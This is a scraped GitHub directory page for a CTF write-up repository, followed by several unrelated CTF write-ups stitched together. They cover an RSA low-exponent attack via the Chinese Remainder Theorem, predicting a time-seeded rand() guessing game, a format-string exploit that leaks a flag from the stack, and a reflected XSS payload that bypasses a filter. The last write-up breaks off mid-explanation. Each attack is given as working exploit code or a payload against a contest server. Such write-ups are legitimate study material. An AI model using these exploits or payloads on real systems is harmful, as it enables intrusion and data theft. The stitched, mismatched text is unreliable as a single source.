0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/HaoJame/Writeup-CTF/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":253413964,"originating_url":"https://github.com/HaoJame/Writeup-CTF/tree/master/AUCTF/House%20of%20Madness","user_id":null}}" data-hydro-click-hmac="4ff0278958e4c1dbf4581ca3255e21af7c090cb54a0447735bbe3d1805eb7b5f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/HaoJame/Writeup-CTF/refs" cache-key="v0:1586154714.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SGFvSmFtZS9Xcml0ZXVwLUNURg==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/HaoJame/Writeup-CTF/refs" cache-key="v0:1586154714.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SGFvSmFtZS9Xcml0ZXVwLUNURg==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Writeup-CTF</span></span></span><span>/</span><span><span>AUCTF</span></span><span>/</span>House of Madness<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Writeup-CTF</span></span></span><span>/</span><span><span>AUCTF</span></span><span>/</span>House of Madness<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/HaoJame/Writeup-CTF/tree-commit/7589c35cf35b5087a26dfac6aa633b5494e18323/AUCTF/House%20of%20Madness" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/HaoJame/Writeup-CTF/file-list/master/AUCTF/House%20of%20Madness"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>challenge</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>challenge.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
## Old Monitor (Crypto, 135pts) # EnumerationThe challenge description gives us a big hint on what the challenge actually is about: ```I have this old CRT monitor that I use for my desktop computer. It crashed on me and spit out all these weird numbers…```# Process of thoughtLooking at the file which is an image we do understand thats it's probably either some attack on RSA or on Diffie Hellman's key exchange. Considering the fact that it talks about CRT and that we are provided with just the N and the ciphertext , the idea that came to my mind is that this is a Chinese Remainder Theorem attack on RSA.![](old_monitor.png) # Attacking the RSASo using an online OCR (I wouldn't write the numbers by hand...) I took the N and C values.Time to write a script to break it```pythonimport gmpy e = 3 n1 = 7156756869076785933541721538001332468058823716463367176522928415602207483494410804148006276542112924303341451770810669016327730854877940615498537882480613 n2 = 11836621785229749981615163446485056779734671669107550651518896061047640407932488359788368655821120768954153926193557467079978964149306743349885823110789383 n3 = 7860042756393802290666610238184735974292004010562137537294207072770895340863879606654646472733984175066809691749398560891393841950513254137326295011918329 c1 = 816151508695124692025633485671582530587173533405103918082547285368266333808269829205740958345854863854731967136976590635352281190694769505260562565301138 c2 = 8998140232866629819387815907247927277743959734393727442896220493056828525538465067439667506161727590154084150282859497318610746474659806170461730118307571 c3 = 3488305941609131204120284497226034329328885177230154449259214328225710811259179072441462596230940261693534332200171468394304414412261146069175272094960414 N = n1 * n2 * n3N1 = N/n1N2 = N/n2N3 = N/n3 u1 = gmpy.invert(N1,n1)u2 = gmpy.invert(N2,n2)u3 = gmpy.invert(N3,n3) M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N m = gmpy.root(M,e)[0] print hex(m)[2:].rstrip("L").decode("hex")``` And... it worked ```LLS{the_chinese_remainder_theorem_is_so_cool}```
## Seed Spring (Pwn, 150pts) # Enumeration From the name of the challenge I did understand that it has to do with some seed value,so that's possibly a srand() exploitation or something similar. My next step was to reverseengineer the binary opening it in Ghidra and changing some variable names to understand what it actually does. ![](seed_spring.png) Even though the code after the decompilation is self explanatory let's give a brief overview,so what it does is that it securely generates a seed using the current time **srand(time(NULL));**so that's not vulnerable to any attack. But, what is exploitable is that after it calls **rand();**function to generate an integer it executes an AND logical operation with 0xf. Let's dive into this For our example let's suppose that we are on a 32-bit machine:A random integer has the size of 4 bytes (X stands for unknown byte and y for uknown bit),if we perform an AND operation on it with 0xF, then what we are actually doing is that we are masking only for the five last bits of our integer.``` 0xXXX YYYYYYYY & 00011111 ----------------- 0x000 000YYYYY```# So how is this exploitable ?With such a small range of numbers, (16) no matter how secure our seed generation is, we can pretty much predict its output by executing a seed generation in approximately the same time to the oneon the server side. Since the loss of information on the output is massive because of the AND operation the difference in time between the execution of the two scripts can be ignored. # Exploitation I also did a reverse look up on the DNS just to talk directly to the IP just to save some time on the communication. ```pythonimport mathfrom ctypes import CDLLfrom pwn import *def get_Random(): return libc.rand() libc = CDLL('libc.so.6') p = remote('167.172.3.35',50010)now = int(math.floor(time.time()))libc.srand(now)for i in range(30): p.recvuntil('Guess the height: ') p.sendline(str(get_Random() & 0xf)) p.recvline()``` By executing the script above...we get our flag ```LLS{pseudo_random_number_generator_not_so_random}```
Decompiled main: ![img/echo_as_a_service_0.png](img/echo_as_a_service_0.png) The flag is read and saved on the stack. An input is taken and printed. There is a format string vulnerability.We can print the various blocks of the stack containing the flag Exploit:```pythonfrom pwn import * p = remote('challenges.tamuctf.com', 4251, level='error') payload = (("%8$lx %9$lx %10$lx").encode()) p.recvuntil(')')p.sendline(payload)p.recvline()flag_chunks = p.recvline().strip().split(b' ')flag = ''for chunk in flag_chunks: flag += binascii.unhexlify(chunk).decode()[::-1]print(flag)``` # FLAG```gigem{3asy_f0rmat_vuln1}```
Thanks, Midnight Sun CTF team for this amazing CTF and also for providing payload for this challenge without that this writeup could not have been possible. ### Code: http://crossintheroof-01.play.midnightsunctf.se:3000/?source ```php <script>setTimeout(function(){ try{ return location = '/?i_said_no_xss_4_u_:)'; nodice=; }catch(err){ return location = '/?error='+; } },500);</script><script>/* payload: */</script><body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>``` # Explanation: # ## Part 1In the above code 1st part is PHP code which checks what parameter is passed and according to that it loads the page. For Ex. this source code page is accessed by passing the source parameter. (http://crossintheroof-01.play.midnightsunctf.se:3000/?source) And it also removes harmful characters. And when parameter XSS is passed it skips page loading portion, So this part of code has no use to us because we are going to use the XSS parameter. ## Part 2: In the above code, payload XSS is reflected at three places, try block, catch block and comment section. Let ?xss=alert(1) Then Try block will not even execute this code due to return call before it, and catch block will not be called because no error happens and comment is just comment, So no XSS. ### Payload: http://crossintheroof-01.play.midnightsunctf.se:3000/?xss=alert(1);let%20location=1;%0a%3C!--%3Cscript #### Decoded: http://crossintheroof-01.play.midnightsunctf.se:3000/?xss=alert(1);let location=1;
